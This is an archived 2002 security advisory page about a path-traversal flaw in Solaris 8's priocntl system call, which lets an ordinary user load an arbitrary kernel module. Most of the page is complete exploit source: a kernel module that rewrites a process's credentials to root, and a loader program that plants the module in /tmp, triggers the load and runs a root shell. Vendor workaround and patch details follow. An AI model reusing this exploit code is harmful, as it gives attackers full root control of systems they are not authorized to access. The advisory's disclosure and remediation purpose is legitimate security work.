TUCoPS :: SunOS/Solaris :: sun5846.htm

Solaris priocntl exploit
28th Nov 2002 [SBWID-5846]
COMMAND

	Solaris priocntl exploit

SYSTEMS AFFECTED

	Solaris 8

PROBLEM

	From, [http://www.catdogsoft.com/S8EXP/], thanks  to  [jerryhj@yeah.net]
	:
	
	syscall priocntl(2) is used as process scheduler control  it's  declared
	as below:
	
	long priocntl(idtype_t idtype, id_t id, int cmd, /* arg */ ...);
	
	while set 'cmd' arg to PC_GETCID, priocntl()'s function  is  like  below
	(see ManPage 'man -s 2 priocntl') "Get class  ID  and  class  attributes
	for a specific class given class name. The idtype and id  arguments  are
	ignored. If arg is non-null, it points to a structure of type  pcinfo_t.
	The pc_clname buffer contains the name of  the  class  whose  attributes
	you are getting."
	
	as it said, pc_clname points to a string specify the module.  priocntl()
	will load the module without any privilege check. The module's  name  is
	a  relative  path,  priocntl  will  search  the  module  file  in   only
	/kernel/sched   and   /usr/kernel/sched/   dirs.   but    unfortunately,
	priocntl()  never  check   '../'   in   pc_clname   arg   we   can   use
	'../../../tmp/module' to make priocntl() load a module from anywhere
	
	 Exploit
	 =======
	
	under 32-bit solaris, execute "./final" under  64-bit  solaris,  execute
	"./final 64"
	
	detailes on http://www.catdogsoft.com/S8EXP/
	
	 Package exploit : http://www.catdogsoft.com/S8EXP/release.tgz
	
	
	--------flkm.c-----------------------------
	/*
	 Writen By CatDog
	 the module find the user's proccess's cred struct
	 change it's owner uid to 0(root)
	 this code can work properly in any conditions
	*/
	#include <sys/systm.h>
	#include <sys/ddi.h>
	#include <sys/sunddi.h>
	#include <sys/syscall.h>
	#include <sys/types.h>
	#include <sys/kmem.h>
	#include <sys/errno.h>
	#include <sys/proc.h>
	#include <sys/user.h>
	#include <sys/thread.h>
	#include <sys/cred.h>
	#include <vm/as.h>
	#include <vm/seg.h>
	#include <vm/seg_vn.h>
	
	typedef unsigned int DWORD;
	
	DWORD   ptree[20]={0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,
	                                 0xffffffff,0xffffffff,0xffffffff,
	                                 0xffffffff,0xffffffff,0xffffffff,
	                                 0xffffffff,0xffffffff,0xffffffff};
	/*
	 * This is the loadable module wrapper.
	 */
	#include <sys/modctl.h>
	
	int _info(struct modinfo *modinfop)
	{
	    return -1;
	}
	
	int _init(void)
	{
	    proc_t *current,*pp;
	    pid_t rec;
	    int i,cnt;
	
	    for(i=0;ptree[i]!=0xffffffff;i++);
	    cnt=i;
	
	cmn_err(CE_NOTE ,"Get Su: cnt=%d", cnt);
	
	    current=curproc;
	    while(current->p_pidp->pid_id!=0) current=current->p_parent;
	
	    pp=current;
	
	    for(i=0;i<cnt;i++) {
	        pp=pp->p_child;
	cmn_err(CE_NOTE ,"Get Su: search pid=%d", ptree[i]);
	        while(pp!=0)  {
	            if(pp->p_pidp->pid_id==ptree[i])  break;
	            pp=pp->p_sibling;
	        }
	        if(pp==0) goto ERR;
	    }
	
	    if(pp!=0) {
	        pp->p_cred->cr_ruid=0;
	        pp->p_cred->cr_uid=0;
	        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_pidp->pid_id);
	        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_ruid);
	        cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_uid);
	    }
	
	ERR:
	    cmn_err(CE_NOTE ,"Get Su: not found");
	    return -1;
	}
	
	
	
	--------end of flkm.c-----------------------
	
	
	--------final.c-----------------------------
	/*
	 Writen By CatDog
	 the module find the user's proccess's cred struct
	 change it's owner uid to 0(root)
	 this code can work properly in any conditions
	*/
	
	#include <stdio.h>
	#include <sys/types.h>
	#include <procfs.h>
	#include <unistd.h>
	
	#include <errno.h>
	#include <sys/priocntl.h>
	#include <sys/rtpriocntl.h>
	#include <sys/tspriocntl.h>
	
	
	#define OFFSET 0x2dc
	#define OFFSET64 0x39c
	
	pid_t getpppid(pid_t pid)
	{
	    	psinfo_t psinf;
	    	int fd;
	    	char buf[256];
	    
	    	sprintf(buf, "/proc/%d/psinfo", pid);
	    	fd=open(buf,0);
		if(fd!=-1) {
			read(fd, &psinf, sizeof(psinfo_t));
			close(fd);
	    	}
	
		return psinf.pr_ppid;
	}
	
	void Load(int m64)
	{
	    pcinfo_t pcinfo;
	    if(!m64)
	    	strcpy(pcinfo.pc_clname, "../../../tmp/flkm32");
	    if(m64)
	    	strcpy(pcinfo.pc_clname, "../../../tmp/flkm64");
	
		priocntl(0,getpid(),PC_GETCID,(caddr_t)&pcinfo);
	}
	
	main(int argc,char *argv[])
	{
		pid_t pid;
		pid_t ptree[20], *pptree;
		int i,j,k;
		int fd;
		int m64=0;
	
		if(argc==2) {
			if(atoi(argv[1])==64) m64=1;
		}
	
		printf("is 64 bit: %d\n",m64);
	
		pid=getpid();
		memset(ptree, 0, 20*sizeof(pid_t));
	
		ptree[0]=pid;
		for(i=1;i<20;i++) {
			pid=getpppid(pid);
			if(pid==0) break;
			ptree[i]=pid;
		}
		pptree=(pid_t *)malloc((i+1)*sizeof(pid_t));
	
		k=0;
		for(j=19;j>=0;j--) {
			if(ptree[j]==0) continue;
			//printf("%d %x\n", ptree[j], ptree[j]);
			pptree[k]=ptree[j];
			k++;
		}
		pptree[k]=0xffffffff;
	
		if(!m64) system("cp -f flkm32 /tmp/flkm32");
		if(m64) mkdir("/tmp/sparcv9",0777);
		if(m64) system("cp -f flkm64 /tmp/sparcv9/flkm64");
	
		if(!m64) fd=open("/tmp/flkm32",2);
		if(m64)	fd=open("/tmp/sparcv9/flkm64",2);
		
		if(fd!=-1){
			if(!m64) lseek(fd, OFFSET, SEEK_SET);
			if(m64)	lseek(fd, OFFSET64, SEEK_SET);
			printf("%d bytes to write\n", i*sizeof(pid_t));
			k=write(fd, pptree, i*sizeof(pid_t));
			printf("%d bytes wroten\n", k);
			close(fd);
		}else{
			printf("err! open flkm error!\n");
			exit(-1);
		}
		free(pptree);
	
		Load(m64);
		printf("id=%d\n", k=getuid());
	
		if(!m64) {
			system("rm -fr /tmp/flkm32");
		}
		if(m64) {
			system("rm -fr /tmp/sparcv9");
		}
	
		if(k==0) {
			printf("SUCCESS! Enjoy RootShell!\n");
			execl("/bin/sh","sh",NULL);
		}else{
			printf("fail!\n");
		}
	}
	
	
	--------end of final.c-------------------------
	

SOLUTION

	From Casper Dik [Casper.Dik@Sun.COM] comments :
	
	The  "pc_clname[]"  argument  is  limited  in  size;  to  prevent   this
	particular bug from being exploited you could:
	
		for dir in /kernel /usr/kernel
		do
			cd $dir
			mkdir -p a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p
			mv sched a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p
			ln -s a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/sched .
		done
	
	
	 Update (02 January 2003)
	 ======
	
	Patches are now available for Solaris 8 which resolve this bug.
	
	   This issue is addressed in the following releases:
	   SPARC
	     * Solaris 8 with patch 108528-18 or later
	
	   Intel
	     * Solaris 8 with patch 108529-18 or later
	
	Both are available from http://sunsolve.sun.com/ for both  contract  and
	non-contract customers.
	
	Patches for Solaris 2.6, 7 and 9 will follow shortly.
	
	Further details are available in Sun Alert 49131, available at
	
	 http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F49131
	

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH